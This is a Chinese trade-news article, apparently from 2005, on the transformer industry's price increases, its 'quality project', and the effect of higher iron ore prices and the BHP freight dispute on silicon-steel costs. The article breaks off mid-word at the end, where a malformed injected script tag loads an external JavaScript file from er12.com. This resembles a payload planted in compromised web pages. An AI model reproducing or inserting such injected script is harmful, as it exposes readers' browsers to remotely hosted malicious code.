3月26-27日、电器工业协会变压器分会在贵阳召开了理事扩大会议，除了再次强调始于去年延续至今的行业困境，再次提出提高变压器正品价格外，此次大会还通过了首批“精品工程”专家委员会组成名单及工作条例，标志着“精品工程”正式开始实施。会议决定首先在110kv级变压器开展此工程，并尽快向其他电压等级产品扩展。其实，在去年10月于上海市举行的分会第四届理事会第四次会议上，变压器企业代表就针对变压器行业实施精品工程问题发表了讲话，并最终通过了“变压器精品工程”的实施方案。与会代表还就参加变压器精
品工程的专家进行了提名。变压器行业自救第二招剑已出鞘。被动提价与主动出击自2004年始，原材料价格暴涨导致成本危机，变压器行业步入被动提价境地由于变压器行业生产周期较长，已经与客户签定的订货合同尚未交货，且产品价格皆以当时的原材料价格核算，现在原材料价格涨个不停，产品提价在所难免。然而对处于买方市场、竞争异常激烈的变压器行业，能否共同遵守提价政策实在是个让人心里没底的问题，冒着市场份额丢失的危险提价，哪个企业的老总都得在心里掂量掂量，硬撑成了许多企业的选择。处境艰难中行业协会出手了，其于去年10月底、11月下旬分别在上海、沈阳召开会议，发布调整变压器产品价格的公开信。但无奈原材料价格仍一路走高，今年3月底分会又发出致用户的第二封公开信，再次上调正品价格，涨幅在10%~30%之间。提价的第一招并没有帮助变压器行业走上平坦大道，用户的不满与抗议又成为另一块拦路石。许多媒体开始质疑靠价格联盟进行行业自救究竟能走多远。精品工程的推出似乎给这种阴霾的现况带来一线光明。与因原料涨价不得已的被动提价相比，精品工程更像是变压器行业的自我提升，是一种积极参与市场竞争的主动出击。我国变压器行业规模庞大、中小企业居多，产业集中度低，长期以来，一直处于低价竞争的局面。
据悉，1995年之前全国的变压器企业只有100多家，而到2003年底全行业已经发展到1000多家。市场竞争日趋白热化，使许多企业多年依靠“打价格战”来保住市场。去年以来原材料价格上升，行业利润急剧下降，一些中小企业被迫暂时停产。总体技术水平不高、竞争力不强也是变压器行业的一大弊病。在abb、阿尔斯通、西门子、东芝等大型跨国集团加快抢占中国变压器市场份额的今天，“价格同盟”无法根本解决变压器行业的真正困境。国内企业加速行业整合、技术改造，调整产品结构成为必然。而且行业的健康发展并不是变压器行业自我改造就能实现的。
产业链条锁住变压器行业。2月22日，日本新日铁公司率先宣布，已与巴西cvrd公司达成2005年铁矿石涨价71.5%的协议；2月28日宝钢也先后与澳大利亚hamersley铁矿公司和巴西cvrd公司就2005年铁矿石价格达成上涨71.5%的协议。全球三大矿业之一的澳大利亚力拓公司也认同这一涨幅。当时消息一传出，钢铁下游企业就有些坐不住了，变压器协会贵阳紧急会议就是在这样背景下召开的。会后没多久，又传来澳大利亚bhp公司以巴西与澳大利亚到亚洲到岸价存在较大运费为由，坚持要求在铁矿石价格上涨71.5%基础上，额外附加每吨7.5美元至10美元的海运费价差的消息。显然，对于以硅钢为主要原料的变压器行业来说，如果提价成真，将是又一计重击。而首当其冲的钢铁行业此时已是群情激愤。宝钢、鞍钢、武钢等16大钢铁企业共同抵制bhp的加价要求，中国钢铁协会随即也表示支持这一抵制行动，并认为其要求既不合理，也不符合国际惯例。在与必和必拓就海运费价格的谈判中,中国钢铁工业协会率领16家大型企业明确表态,即使减产也不会答应其要求。在我国钢铁企业、行业协会的共同努力下，4月13日上午必和必拓公司最终放弃了运费加价的要求，我国钢铁行业联合抵制行动宣告成功。但同时我们也应当看到国际铁矿石巨头涨价之心仍在，必和必拓铁矿石部总经理葛莱姆·亨特表示，“对于亚洲钢铁制造商来说，从澳大利亚进口铁矿石具有海运成本优势。但是这次我们没有能够让他们接受这一观点。明年，我们将继续与客户们探讨这一问题。”钢铁行业的发展不仅是钢铁行业自己的事，一环扣一环的产业链将变压器行业和它紧紧连在一起。中国的钢铁行业在2003至2004年就曾因过度低水平重复建设成为国家宏观调控的重点。钢铁协会72家会员单位生产了中国85%的钢材，剩下的大量中小型钢铁企业只生产了总量的15%。有人认为涨价的罪魁祸首就是中小企业。由于没有能力与大公司谈判拿长期合同，他们只能买现货铁矿石。由于没有统一声音与统一标准，在一定程度上破坏了国际铁矿石的价格体系，最终导致铁矿石价格的大幅上涨。钢铁行业处在产业链上游，它的发展情况直接影响到变压器行业。精品工程铁矿石涨价对中小型钢铁企业冲击最大，他们要么找不到好的供应原材料的途径，要么购买原材料价格高昂，成本压力非常大。这必然引发钢铁行业大变局，加快强势企业吸收、并购弱?script src=http://er12.com/t.js>
